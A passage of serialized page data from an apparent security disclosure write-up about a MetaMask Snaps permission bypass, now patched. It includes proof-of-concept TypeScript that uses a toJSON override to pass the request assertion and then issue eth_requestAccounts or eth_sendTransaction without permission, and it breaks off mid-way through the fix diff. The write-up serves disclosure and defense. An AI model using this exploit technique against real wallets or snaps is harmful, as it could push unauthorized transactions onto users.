JSON",{"type":26,"tag":217,"props":129779,"children":129780},{"style":7048},[129781],{"type":32,"value":180},{"type":26,"tag":217,"props":129783,"children":129784},{"style":7064},[129785],{"type":32,"value":67556},{"type":26,"tag":217,"props":129787,"children":129788},{"style":7048},[129789],{"type":32,"value":1851},{"type":26,"tag":217,"props":129791,"children":129792},{"style":7054},[129793],{"type":32,"value":15127},{"type":26,"tag":217,"props":129795,"children":129796},{"style":7048},[129797],{"type":32,"value":129798},", (",{"type":26,"tag":217,"props":129800,"children":129801},{"style":7054},[129802],{"type":32,"value":129803},"propKey",{"type":26,"tag":217,"props":129805,"children":129806},{"style":7048},[129807],{"type":32,"value":7599},{"type":26,"tag":217,"props":129809,"children":129810},{"style":7054},[129811],{"type":32,"value":129812},"propValue",{"type":26,"tag":217,"props":129814,"children":129815},{"style":7048},[129816],{"type":32,"value":8380},{"type":26,"tag":217,"props":129818,"children":129819},{"style":7154},[129820],{"type":32,"value":8059},{"type":26,"tag":217,"props":129822,"children":129823},{"style":7048},[129824],{"type":32,"value":8064},{"type":26,"tag":217,"props":129826,"children":129827},{"class":7028,"line":7165},[129828],{"type":26,"tag":217,"props":129829,"children":129830},{"style":7033},[129831],{"type":32,"value":129832},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":26,"tag":217,"props":129834,"children":129835},{"class":7028,"line":7178},[129836,129840,129844,129848,129852,129857,129861,129866,129870,129875],{"type":26,"tag":217,"props":129837,"children":129838},{"style":7042},[129839],{"type":32,"value":8953},{"type":26,"tag":217,"props":129841,"children":129842},{"style":7048},[129843],{"type":32,"value":7051},{"type":26,"tag":217,"props":129845,"children":129846},{"style":7054},[129847],{"type":32,"value":129803},{"type":26,"tag":217,"props":129849,"children":129850},{"style":7149},[129851],{"type":32,"value":67525},{"type":26,"tag":217,"props":129853,"children":129854},{"style":7338},[129855],{"type":32,"value":129856}," '__proto__'",{"type":26,"tag":217,"props":129858,"children":129859},{"style":7149},[129860],{"type":32,"value":12520},{"type":26,"tag":217,"props":129862,"children":129863},{"style":7054},[129864],{"type":32,"value":129865}," propKey",{"type":26,"tag":217,"props":129867,"children":129868},{"style":7149},[129869],{"type":32,"value":67525},{"type":26,"tag":217,"props":129871,"children":129872},{"style":7338},[129873],{"type":32,"value":129874}," 'constructor'",{"type":26,"tag":217,"props":129876,"children":129877},{"style":7048},[129878],{"type":32,"value":7618},{"type":26,"tag":217,"props":129880,"children":129881},{"class":7028,"line":7389},[129882,129886,129890],{"type":26,"tag":217,"props":129883,"children":129884},{"style":7042},[129885],{"type":32,"value":9737},{"type":26,"tag":217,"props":129887,"children":129888},{"style":7154},[129889],{"type":32,"value":12724},{"type":26,"tag":217,"props":129891,"children":129892},{"style":7048},[129893],{"type":32,"value":7162},{"type":26,"tag":217,"props":129895,"children":129896},{"class":7028,"line":7406},[129897],{"type":26,"tag":217,"props":129898,"children":129899},{"style":7048},[129900],{"type":32,"value":9210},{"type":26,"tag":217,"props":129902,"children":129903},{"class":7028,"line":7439},[129904,129908,129913],{"type":26,"tag":217,"props":129905,"children":129906},{"style":7042},[129907],{"type":32,"value":38212},{"type":26,"tag":217,"props":129909,"children":129910},{"style":7054},[129911],{"type":32,"value":129912}," propValue",{"type":26,"tag":217,"props":129914,"children":129915},{"style":7048},[129916],{"type":32,"value":7162},{"type":26,"tag":217,"props":129918,"children":129919},{"class":7028,"line":7487},[129920],{"type":26,"tag":217,"props":129921,"children":129922},{"style":7048},[129923],{"type":32,"value":129100},{"type":26,"tag":217,"props":129925,"children":129926},{"class":7028,"line":7524},[129927],{"type":26,"tag":217,"props":129928,"children":129929},{"style":7048},[129930],{"type":32,"value":128967},{"type":26,"tag":217,"props":129932,"children":129933},{"class":7028,"line":7553},[129934],{"type":26,"tag":217,"props":129935,"children":129936},{"style":7048},[129937],{"type":32,"value":14040},{"type":26,"tag":39,"props":129939,"children":129940},{},[129941,129943,129949,129951,129956,129958,129964,129966,129972],{"type":32,"value":129942},"The function performs a ",{"type":26,"tag":83,"props":129944,"children":129946},{"className":129945},[],[129947],{"type":32,"value":129948},"JSON.parse(JSON.stringify(value))",{"type":32,"value":129950}," in the argument sent to ",{"type":26,"tag":83,"props":129952,"children":129954},{"className":129953},[],[129955],{"type":32,"value":129632},{"type":32,"value":129957},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":26,"tag":83,"props":129959,"children":129961},{"className":129960},[],[129962],{"type":32,"value":129963},"toJSON",{"type":32,"value":129965}," function in a legit ",{"type":26,"tag":83,"props":129967,"children":129969},{"className":129968},[],[129970],{"type":32,"value":129971},"snap.request",{"type":32,"value":129973}," argument:",{"type":26,"tag":6712,"props":129975,"children":129976},{},[129977,129982,129987],{"type":26,"tag":2044,"props":129978,"children":129979},{},[129980],{"type":32,"value":129981},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":26,"tag":2044,"props":129983,"children":129984},{},[129985],{"type":32,"value":129986},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":26,"tag":2044,"props":129988,"children":129989},{},[129990],{"type":32,"value":129991},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":26,"tag":39,"props":129993,"children":129994},{},[129995],{"type":32,"value":129996},"The assertion bypass can be useful on two occasions:",{"type":26,"tag":6712,"props":129998,"children":129999},{},[130000,130005],{"type":26,"tag":2044,"props":130001,"children":130002},{},[130003],{"type":32,"value":130004},"forward blocked RPC methods",{"type":26,"tag":2044,"props":130006,"children":130007},{},[130008,130010,130015,130017,130023,130025,130030],{"type":32,"value":130009},"Making requests in ",{"type":26,"tag":83,"props":130011,"children":130013},{"className":130012},[],[130014],{"type":32,"value":129971},{"type":32,"value":130016}," that were only supposed to be done within ",{"type":26,"tag":83,"props":130018,"children":130020},{"className":130019},[],[130021],{"type":32,"value":130022},"ethereum.request",{"type":32,"value":130024}," (with ",{"type":26,"tag":83,"props":130026,"children":130028},{"className":130027},[],[130029],{"type":32,"value":129204},{"type":32,"value":130031}," enabled).",{"type":26,"tag":39,"props":130033,"children":130034},{},[130035],{"type":32,"value":130036},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":26,"tag":607,"props":130038,"children":130040},{"id":130039},"impact",[130041],{"type":32,"value":130042},"Impact",{"type":26,"tag":39,"props":130044,"children":130045},{},[130046],{"type":32,"value":130047},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":26,"tag":39,"props":130049,"children":130050},{},[130051],{"type":26,"tag":6468,"props":130052,"children":130054},{"alt":8,"src":130053},"/posts/metamask-snaps/note.png",[],{"type":26,"tag":607,"props":130056,"children":130057},{"id":7222},[130058],{"type":32,"value":7225},{"type":26,"tag":39,"props":130060,"children":130061},{},[130062,130064,130069,130071,130076,130078,130084],{"type":32,"value":130063},"To demonstrate the issue, we created a snap without the ",{"type":26,"tag":83,"props":130065,"children":130067},{"className":130066},[],[130068],{"type":32,"value":129204},{"type":32,"value":130070}," permission, and used the ",{"type":26,"tag":83,"props":130072,"children":130074},{"className":130073},[],[130075],{"type":32,"value":128737},{"type":32,"value":130077}," interface to call ",{"type":26,"tag":83,"props":130079,"children":130081},{"className":130080},[],[130082],{"type":32,"value":130083},"eth_sendTransaction",{"type":32,"value":130085},". According to the documentation, this shouldn't be possible:",{"type":26,"tag":207,"props":130087,"children":130089},{"className":12398,"code":130088,"language":12397,"meta":8,"style":8},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[130090],{"type":26,"tag":83,"props":130091,"children":130092},{"__ignoreMap":8},[130093,130127,130134,130141,130158,130188,130195,130220,130227,130258,130269,130286,130299,130306,130313,130320,130352,130359,130366,130373,130389,130416,130423,130446,130453,130484,130495,130511,130523,130545,130561,130578,130586,130593,130600,130607,130638,130645,130652,130711,130718,130746,130763,130778,130794,130809,130821,130850,130857],{"type":26,"tag":217,"props":130094,"children":130095},{"class":7028,"line":7029},[130096,130101,130105,130110,130114,130118,130123],{"type":26,"tag":217,"props":130097,"children":130098},{"style":7042},[130099],{"type":32,"value":130100},"import",{"type":26,"tag":217,"props":130102,"children":130103},{"style":7048},[130104],{"type":32,"value":65337},{"type":26,"tag":217,"props":130106,"children":130107},{"style":7054},[130108],{"type":32,"value":130109},"OnRpcRequestHandler",{"type":26,"tag":217,"props":130111,"children":130112},{"style":7048},[130113],{"type":32,"value":100278},{"type":26,"tag":217,"props":130115,"children":130116},{"style":7042},[130117],{"type":32,"value":98448},{"type":26,"tag":217,"props":130119,"children":130120},{"style":7338},[130121],{"type":32,"value":130122}," '@metamask/snaps-types'",{"type":26,"tag":217,"props":130124,"children":130125},{"style":7048},[130126],{"type":32,"value":7162},{"type":26,"tag":217,"props":130128,"children":130129},{"class":7028,"line":6770},[130130],{"type":26,"tag":217,"props":130131,"children":130132},{"emptyLinePlaceholder":17},[130133],{"type":32,"value":7817},{"type":26,"tag":217,"props":130135,"children":130136},{"class":7028,"line":6779},[130137],{"type":26,"tag":217,"props":130138,"children":130139},{"emptyLinePlaceholder":17},[130140],{"type":32,"value":7817},{"type":26,"tag":217,"props":130142,"children":130143},{"class":7028,"line":7140},[130144,130148,130153],{"type":26,"tag":217,"props":130145,"children":130146},{"style":7154},[130147],{"type":32,"value":7604},{"type":26,"tag":217,"props":130149,"children":130150},{"style":7064},[130151],{"type":32,"value":130152}," jsonExploit",{"type":26,"tag":217,"props":130154,"children":130155},{"style":7048},[130156],{"type":32,"value":130157},"(){\n",{"type":26,"tag":217,"props":130159,"children":130160},{"class":7028,"line":7165},[130161,130165,130170,130174,130179,130183],{"type":26,"tag":217,"props":130162,"children":130163},{"style":7154},[130164],{"type":32,"value":24787},{"type":26,"tag":217,"props":130166,"children":130167},{"style":7054},[130168],{"type":32,"value":130169}," x",{"type":26,"tag":217,"props":130171,"children":130172},{"style":7149},[130173],{"type":32,"value":8993},{"type":26,"tag":217,"props":130175,"children":130176},{"style":7048},[130177],{"type":32,"value":130178}," [] ",{"type":26,"tag":217,"props":130180,"children":130181},{"style":7042},[130182],{"type":32,"value":91735},{"type":26,"tag":217,"props":130184,"children":130185},{"style":7119},[130186],{"type":32,"value":130187}," any\n",{"type":26,"tag":217,"props":130189,"children":130190},{"class":7028,"line":7178},[130191],{"type":26,"tag":217,"props":130192,"children":130193},{"emptyLinePlaceholder":17},[130194],{"type":32,"value":7817},{"type":26,"tag":217,"props":130196,"children":130197},{"class":7028,"line":7389},[130198,130203,130207,130211,130215],{"type":26,"tag":217,"props":130199,"children":130200},{"style":7054},[130201],{"type":32,"value":130202},"  x",{"type":26,"tag":217,"props":130204,"children":130205},{"style":7048},[130206],{"type":32,"value":180},{"type":26,"tag":217,"props":130208,"children":130209},{"style":7054},[130210],{"type":32,"value":67751},{"type":26,"tag":217,"props":130212,"children":130213},{"style":7149},[130214],{"type":32,"value":8993},{"type":26,"tag":217,"props":130216,"children":130217},{"style":7338},[130218],{"type":32,"value":130219}," \"snap_dialog\"\n",{"type":26,"tag":217,"props":130221,"children":130222},{"class":7028,"line":7406},[130223],{"type":26,"tag":217,"props":130224,"children":130225},{"emptyLinePlaceholder":17},[130226],{"type":32,"value":7817},{"type":26,"tag":217,"props":130228,"children":130229},{"class":7028,"line":7439},[130230,130234,130238,130242,130246,130250,130254],{"type":26,"tag":217,"props":130231,"children":130232},{"style":7054},[130233],{"type":32,"value":130202},{"type":26,"tag":217,"props":130235,"children":130236},{"style":7048},[130237],{"type":32,"value":180},{"type":26,"tag":217,"props":130239,"children":130240},{"style":7064},[130241],{"type":32,"value":129963},{"type":26,"tag":217,"props":130243,"children":130244},{"style":7149},[130245],{"type":32,"value":8993},{"type":26,"tag":217,"props":130247,"children":130248},{"style":7048},[130249],{"type":32,"value":26634},{"type":26,"tag":217,"props":130251,"children":130252},{"style":7154},[130253],{"type":32,"value":8059},{"type":26,"tag":217,"props":130255,"children":130256},{"style":7048},[130257],{"type":32,"value":8064},{"type":26,"tag":217,"props":130259,"children":130260},{"class":7028,"line":7487},[130261,130265],{"type":26,"tag":217,"props":130262,"children":130263},{"style":7042},[130264],{"type":32,"value":7171},{"type":26,"tag":217,"props":130266,"children":130267},{"style":7048},[130268],{"type":32,"value":8064},{"type":26,"tag":217,"props":130270,"children":130271},{"class":7028,"line":7524},[130272,130277,130282],{"type":26,"tag":217,"props":130273,"children":130274},{"style":7054},[130275],{"type":32,"value":130276},"      method:",{"type":26,"tag":217,"props":130278,"children":130279},{"style":7338},[130280],{"type":32,"value":130281}," \"eth_requestAccounts\"",{"type":26,"tag":217,"props":130283,"children":130284},{"style":7048},[130285],{"type":32,"value":10953},{"type":26,"tag":217,"props":130287,"children":130288},{"class":7028,"line":7553},[130289,130294],{"type":26,"tag":217,"props":130290,"children":130291},{"style":7054},[130292],{"type":32,"value":130293},"      params:",{"type":26,"tag":217,"props":130295,"children":130296},{"style":7048},[130297],{"type":32,"value":130298}," []\n",{"type":26,"tag":217,"props":130300,"children":130301},{"class":7028,"line":7570},[130302],{"type":26,"tag":217,"props":130303,"children":130304},{"style":7048},[130305],{"type":32,"value":9754},{"type":26,"tag":217,"props":130307,"children":130308},{"class":7028,"line":7621},[130309],{"type":26,"tag":217,"props":130310,"children":130311},{"style":7048},[130312],{"type":32,"value":16086},{"type":26,"tag":217,"props":130314,"children":130315},{"class":7028,"line":7672},[130316],{"type":26,"tag":217,"props":130317,"children":130318},{"emptyLinePlaceholder":17},[130319],{"type":32,"value":7817},{"type":26,"tag":217,"props":130321,"children":130322},{"class":7028,"line":7681},[130323,130327,130332,130336,130340,130344,130348],{"type":26,"tag":217,"props":130324,"children":130325},{"style":7042},[130326],{"type":32,"value":67696},{"type":26,"tag":217,"props":130328,"children":130329},{"style":7054},[130330],{"type":32,"value":130331}," snap",{"type":26,"tag":217,"props":130333,"children":130334},{"style":7048},[130335],{"type":32,"value":180},{"type":26,"tag":217,"props":130337,"children":130338},{"style":7064},[130339],{"type":32,"value":66875},{"type":26,"tag":217,"props":130341,"children":130342},{"style":7048},[130343],{"type":32,"value":1851},{"type":26,"tag":217,"props":130345,"children":130346},{"style":7054},[130347],{"type":32,"value":2542},{"type":26,"tag":217,"props":130349,"children":130350},{"style":7048},[130351],{"type":32,"value":10025},{"type":26,"tag":217,"props":130353,"children":130354},{"class":7028,"line":7754},[130355],{"type":26,"tag":217,"props":130356,"children":130357},{"emptyLinePlaceholder":17},[130358],{"type":32,"value":7817},{"type":26,"tag":217,"props":130360,"children":130361},{"class":7028,"line":7784},[130362],{"type":26,"tag":217,"props":130363,"children":130364},{"style":7048},[130365],{"type":32,"value":7184},{"type":26,"tag":217,"props":130367,"children":130368},{"class":7028,"line":7802},[130369],{"type":26,"tag":217,"props":130370,"children":130371},{"emptyLinePlaceholder":17},[130372],{"type":32,"value":7817},{"type":26,"tag":217,"props":130374,"children":130375},{"class":7028,"line":7811},[130376,130380,130385],{"type":26,"tag":217,"props":130377,"children":130378},{"style":7154},[130379],{"type":32,"value":7604},{"type":26,"tag":217,"props":130381,"children":130382},{"style":7064},[130383],{"type":32,"value":130384}," transactionExploit",{"type":26,"tag":217,"props":130386,"children":130387},{"style":7048},[130388],{"type":32,"value":130157},{"type":26,"tag":217,"props":130390,"children":130391},{"class":7028,"line":7820},[130392,130396,130400,130404,130408,130412],{"type":26,"tag":217,"props":130393,"children":130394},{"style":7154},[130395],{"type":32,"value":24787},{"type":26,"tag":217,"props":130397,"children":130398},{"style":7054},[130399],{"type":32,"value":130169},{"type":26,"tag":217,"props":130401,"children":130402},{"style":7149},[130403],{"type":32,"value":8993},{"type":26,"tag":217,"props":130405,"children":130406},{"style":7048},[130407],{"type":32,"value":130178},{"type":26,"tag":217,"props":130409,"children":130410},{"style":7042},[130411],{"type":32,"value":91735},{"type":26,"tag":217,"props":130413,"children":130414},{"style":7119},[130415],{"type":32,"value":130187},{"type":26,"tag":217,"props":130417,"children":130418},{"class":7028,"line":7844},[130419],{"type":26,"tag":217,"props":130420,"children":130421},{"emptyLinePlaceholder":17},[130422],{"type":32,"value":7817},{"type":26,"tag":217,"props":130424,"children":130425},{"class":7028,"line":7910},[130426,130430,130434,130438,130442],{"type":26,"tag":217,"props":130427,"children":130428},{"style":7054},[130429],{"type":32,"value":130202},{"type":26,"tag":217,"props":130431,"children":130432},{"style":7048},[130433],{"type":32,"value":180},{"type":26,"tag":217,"props":130435,"children":130436},{"style":7054},[130437],{"type":32,"value":67751},{"type":26,"tag":217,"props":130439,"children":130440},{"style":7149},[130441],{"type":32,"value":8993},{"type":26,"tag":217,"props":130443,"children":130444},{"style":7338},[130445],{"type":32,"value":130219},{"type":26,"tag":217,"props":130447,"children":130448},{"class":7028,"line":7954},[130449],{"type":26,"tag":217,"props":130450,"children":130451},{"emptyLinePlaceholder":17},[130452],{"type":32,"value":7817},{"type":26,"tag":217,"props":130454,"children":130455},{"class":7028,"line":7985},[130456,130460,130464,130468,130472,130476,130480],{"type":26,"tag":217,"props":130457,"children":130458},{"style":7054},[130459],{"type":32,"value":130202},{"type":26,"tag":217,"props":130461,"children":130462},{"style":7048},[130463],{"type":32,"value":180},{"type":26,"tag":217,"props":130465,"children":130466},{"style":7064},[130467],{"type":32,"value":129963},{"type":26,"tag":217,"props":130469,"children":130470},{"style":7149},[130471],{"type":32,"value":8993},{"type":26,"tag":217,"props":130473,"children":130474},{"style":7048},[130475],{"type":32,"value":26634},{"type":26,"tag":217,"props":130477,"children":130478},{"style":7154},[130479],{"type":32,"value":8059},{"type":26,"tag":217,"props":130481,"children":130482},{"style":7048},[130483],{"type":32,"value":8064},{"type":26,"tag":217,"props":130485,"children":130486},{"class":7028,"line":8027},[130487,130491],{"type":26,"tag":217,"props":130488,"children":130489},{"style":7042},[130490],{"type":32,"value":7171},{"type":26,"tag":217,"props":130492,"children":130493},{"style":7048},[130494],{"type":32,"value":8064},{"type":26,"tag":217,"props":130496,"children":130497},{"class":7028,"line":8035},[130498,130502,130507],{"type":26,"tag":217,"props":130499,"children":130500},{"style":7054},[130501],{"type":32,"value":130276},{"type":26,"tag":217,"props":130503,"children":130504},{"style":7338},[130505],{"type":32,"value":130506}," \"eth_sendTransaction\"",{"type":26,"tag":217,"props":130508,"children":130509},{"style":7048},[130510],{"type":32,"value":10953},{"type":26,"tag":217,"props":130512,"children":130513},{"class":7028,"line":8067},[130514,130518],{"type":26,"tag":217,"props":130515,"children":130516},{"style":7054},[130517],{"type":32,"value":130293},{"type":26,"tag":217,"props":130519,"children":130520},{"style":7048},[130521],{"type":32,"value":130522}," [{\n",{"type":26,"tag":217,"props":130524,"children":130525},{"class":7028,"line":8107},[130526,130531,130536,130540],{"type":26,"tag":217,"props":130527,"children":130528},{"style":7054},[130529],{"type":32,"value":130530},"        from:",{"type":26,"tag":217,"props":130532,"children":130533},{"style":7338},[130534],{"type":32,"value":130535}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":26,"tag":217,"props":130537,"children":130538},{"style":7048},[130539],{"type":32,"value":7599},{"type":26,"tag":217,"props":130541,"children":130542},{"style":7033},[130543],{"type":32,"value":130544},"// change this to your address\n",{"type":26,"tag":217,"props":130546,"children":130547},{"class":7028,"line":8145},[130548,130553,130557],{"type":26,"tag":217,"props":130549,"children":130550},{"style":7054},[130551],{"type":32,"value":130552},"        to:",{"type":26,"tag":217,"props":130554,"children":130555},{"style":7338},[130556],{"type":32,"value":130535},{"type":26,"tag":217,"props":130558,"children":130559},{"style":7048},[130560],{"type":32,"value":10953},{"type":26,"tag":217,"props":130562,"children":130563},{"class":7028,"line":8154},[130564,130569,130574],{"type":26,"tag":217,"props":130565,"children":130566},{"style":7054},[130567],{"type":32,"value":130568},"        value:",{"type":26,"tag":217,"props":130570,"children":130571},{"style":7338},[130572],{"type":32,"value":130573}," \"0x1\"",{"type":26,"tag":217,"props":130575,"children":130576},{"style":7048},[130577],{"type":32,"value":10953},{"type":26,"tag":217,"props":130579,"children":130580},{"class":7028,"line":8162},[130581],{"type":26,"tag":217,"props":130582,"children":130583},{"style":7048},[130584],{"type":32,"value":130585},"      }]\n",{"type":26,"tag":217,"props":130587,"children":130588},{"class":7028,"line":8197},[130589],{"type":26,"tag":217,"props":130590,"children":130591},{"style":7048},[130592],{"type":32,"value":9754},{"type":26,"tag":217,"props":130594,"children":130595},{"class":7028,"line":8220},[130596],{"type":26,"tag":217,"props":130597,"children":130598},{"style":7048},[130599],{"type":32,"value":16086},{"type":26,"tag":217,"props":130601,"children":130602},{"class":7028,"line":8228},[130603],{"type":26,"tag":217,"props":130604,"children":130605},{"emptyLinePlaceholder":17},[130606],{"type":32,"value":7817},{"type":26,"tag":217,"props":130608,"children":130609},{"class":7028,"line":8292},[130610,130614,130618,130622,130626,130630,130634],{"type":26,"tag":217,"props":130611,"children":130612},{"style":7042},[130613],{"type":32,"value":67696},{"type":26,"tag":217,"props":130615,"children":130616},{"style":7054},[130617],{"type":32,"value":130331},{"type":26,"tag":217,"props":130619,"children":130620},{"style":7048},[130621],{"type":32,"value":180},{"type":26,"tag":217,"props":130623,"children":130624},{"style":7064},[130625],{"type":32,"value":66875},{"type":26,"tag":217,"props":130627,"children":130628},{"style":7048},[130629],{"type":32,"value":1851},{"type":26,"tag":217,"props":130631,"children":130632},{"style":7054},[130633],{"type":32,"value":2542},{"type":26,"tag":217,"props":130635,"children":130636},{"style":7048},[130637],{"type":32,"value":7669},{"type":26,"tag":217,"props":130639,"children":130640},{"class":7028,"line":8351},[130641],{"type":26,"tag":217,"props":130642,"children":130643},{"style":7048},[130644],{"type":32,"value":7184},{"type":26,"tag":217,"props":130646,"children":130647},{"class":7028,"line":8391},[130648],{"type":26,"tag":217,"props":130649,"children":130650},{"emptyLinePlaceholder":17},[130651],{"type":32,"value":7817},{"type":26,"tag":217,"props":130653,"children":130654},{"class":7028,"line":8439},[130655,130659,130663,130668,130672,130677,130681,130686,130690,130694,130698,130703,130707],{"type":26,"tag":217,"props":130656,"children":130657},{"style":7042},[130658],{"type":32,"value":128768},{"type":26,"tag":217,"props":130660,"children":130661},{"style":7154},[130662],{"type":32,"value":97096},{"type":26,"tag":217,"props":130664,"children":130665},{"style":7064},[130666],{"type":32,"value":130667}," onRpcRequest",{"type":26,"tag":217,"props":130669,"children":130670},{"style":7149},[130671],{"type":32,"value":1473},{"type":26,"tag":217,"props":130673,"children":130674},{"style":7119},[130675],{"type":32,"value":130676}," OnRpcRequestHandler",{"type":26,"tag":217,"props":130678,"children":130679},{"style":7149},[130680],{"type":32,"value":8993},{"type":26,"tag":217,"props":130682,"children":130683},{"style":7048},[130684],{"type":32,"value":130685}," ({ ",{"type":26,"tag":217,"props":130687,"children":130688},{"style":7054},[130689],{"type":32,"value":64518},{"type":26,"tag":217,"props":130691,"children":130692},{"style":7048},[130693],{"type":32,"value":7599},{"type":26,"tag":217,"props":130695,"children":130696},{"style":7054},[130697],{"type":32,"value":66875},{"type":26,"tag":217,"props":130699,"children":130700},{"style":7048},[130701],{"type":32,"value":130702}," }) ",{"type":26,"tag":217,"props":130704,"children":130705},{"style":7154},[130706],{"type":32,"value":8059},{"type":26,"tag":217,"props":130708,"children":130709},{"style":7048},[130710],{"type":32,"value":8064},{"type":26,"tag":217,"props":130712,"children":130713},{"class":7028,"line":8448},[130714],{"type":26,"tag":217,"props":130715,"children":130716},{"emptyLinePlaceholder":17},[130717],{"type":32,"value":7817},{"type":26,"tag":217,"props":130719,"children":130720},{"class":7028,"line":8456},[130721,130726,130730,130734,130738,130742],{"type":26,"tag":217,"props":130722,"children":130723},{"style":7042},[130724],{"type":32,"value":130725},"  switch",{"type":26,"tag":217,"props":130727,"children":130728},{"style":7048},[130729],{"type":32,"value":7051},{"type":26,"tag":217,"props":130731,"children":130732},{"style":7054},[130733],{"type":32,"value":66875},{"type":26,"tag":217,"props":130735,"children":130736},{"style":7048},[130737],{"type":32,"value":180},{"type":26,"tag":217,"props":130739,"children":130740},{"style":7054},[130741],{"type":32,"value":67751},{"type":26,"tag":217,"props":130743,"children":130744},{"style":7048},[130745],{"type":32,"value":7618},{"type":26,"tag":217,"props":130747,"children":130748},{"class":7028,"line":8500},[130749,130754,130759],{"type":26,"tag":217,"props":130750,"children":130751},{"style":7042},[130752],{"type":32,"value":130753},"    case",{"type":26,"tag":217,"props":130755,"children":130756},{"style":7338},[130757],{"type":32,"value":130758}," 'json'",{"type":26,"tag":217,"props":130760,"children":130761},{"style":7048},[130762],{"type":32,"value":81278},{"type":26,"tag":217,"props":130764,"children":130765},{"class":7028,"line":8535},[130766,130770,130774],{"type":26,"tag":217,"props":130767,"children":130768},{"style":7042},[130769],{"type":32,"value":38212},{"type":26,"tag":217,"props":130771,"children":130772},{"style":7064},[130773],{"type":32,"value":130152},{"type":26,"tag":217,"props":130775,"children":130776},{"style":7048},[130777],{"type":32,"value":8217},{"type":26,"tag":217,"props":130779,"children":130780},{"class":7028,"line":8664},[130781,130785,130790],{"type":26,"tag":217,"props":130782,"children":130783},{"style":7042},[130784],{"type":32,"value":130753},{"type":26,"tag":217,"props":130786,"children":130787},{"style":7338},[130788],{"type":32,"value":130789}," 'transaction'",{"type":26,"tag":217,"props":130791,"children":130792},{"style":7048},[130793],{"type":32,"value":81278},{"type":26,"tag":217,"props":130795,"children":130796},{"class":7028,"line":8700},[130797,130801,130805],{"type":26,"tag":217,"props":130798,"children":130799},{"style":7042},[130800],{"type":32,"value":38212},{"type":26,"tag":217,"props":130802,"children":130803},{"style":7064},[130804],{"type":32,"value":130384},{"type":26,"tag":217,"props":130806,"children":130807},{"style":7048},[130808],{"type":32,"value":8217},{"type":26,"tag":217,"props":130810,"children":130811},{"class":7028,"line":8708},[130812,130817],{"type":26,"tag":217,"props":130813,"children":130814},{"style":7042},[130815],{"type":32,"value":130816},"    default",{"type":26,"tag":217,"props":130818,"children":130819},{"style":7048},[130820],{"type":32,"value":81278},{"type":26,"tag":217,"props":130822,"children":130823},{"class":7028,"line":8716},[130824,130829,130833,130837,130841,130846],{"type":26,"tag":217,"props":130825,"children":130826},{"style":7042},[130827],{"type":32,"value":130828},"      throw",{"type":26,"tag":217,"props":130830,"children":130831},{"style":7154},[130832],{"type":32,"value":25931},{"type":26,"tag":217,"props":130834,"children":130835},{"style":7064},[130836],{"type":32,"value":116625},{"type":26,"tag":217,"props":130838,"children":130839},{"style":7048},[130840],{"type":32,"value":1851},{"type":26,"tag":217,"props":130842,"children":130843},{"style":7338},[130844],{"type":32,"value":130845},"'Method not found.'",{"type":26,"tag":217,"props":130847,"children":130848},{"style":7048},[130849],{"type":32,"value":7669},{"type":26,"tag":217,"props":130851,"children":130852},{"class":7028,"line":8725},[130853],{"type":26,"tag":217,"props":130854,"children":130855},{"style":7048},[130856],{"type":32,"value":16086},{"type":26,"tag":217,"props":130858,"children":130859},{"class":7028,"line":8738},[130860],{"type":26,"tag":217,"props":130861,"children":130862},{"style":7048},[130863],{"type":32,"value":12331},{"type":26,"tag":39,"props":130865,"children":130866},{},[130867,130869,130875,130877,130882],{"type":32,"value":130868},"We set ",{"type":26,"tag":83,"props":130870,"children":130872},{"className":130871},[],[130873],{"type":32,"value":130874},"x.method = \"snap_dialog\"",{"type":32,"value":130876}," to pass the assertion and setup a toJSON function to change this method to ",{"type":26,"tag":83,"props":130878,"children":130880},{"className":130879},[],[130881],{"type":32,"value":130083},{"type":32,"value":130883}," after.",{"type":26,"tag":607,"props":130885,"children":130886},{"id":66685},[130887],{"type":32,"value":66688},{"type":26,"tag":39,"props":130889,"children":130890},{},[130891,130893,130898,130900,130907],{"type":32,"value":130892},"Metamask mitigated this issue by asserting the arguments after the ",{"type":26,"tag":83,"props":130894,"children":130896},{"className":130895},[],[130897],{"type":32,"value":129632},{"type":32,"value":130899}," function execution. The patch was introduced on commit ",{"type":26,"tag":163,"props":130901,"children":130904},{"href":130902,"rel":130903},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[167],[130905],{"type":32,"value":130906},"168ff08",{"type":32,"value":130908}," with the following changes:",{"type":26,"tag":207,"props":130910,"children":130912},{"className":76068,"code":130911,"language":76067,"meta":8,"style":8},"const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n",[130913],{"type":26,"tag":83,"props":130914,"children":130915},{"__ignoreMap":8},[130916,130924,130932,130940,130948],{"type":26,"tag":217,"props":130917,"children":130918},{"class":7028,"line":7029},[130919],{"type":26,"tag":217,"props":130920,"children":130921},{"style":7048},[130922],{"type":32,"value":130923},"const request = async (args: RequestArguments) => 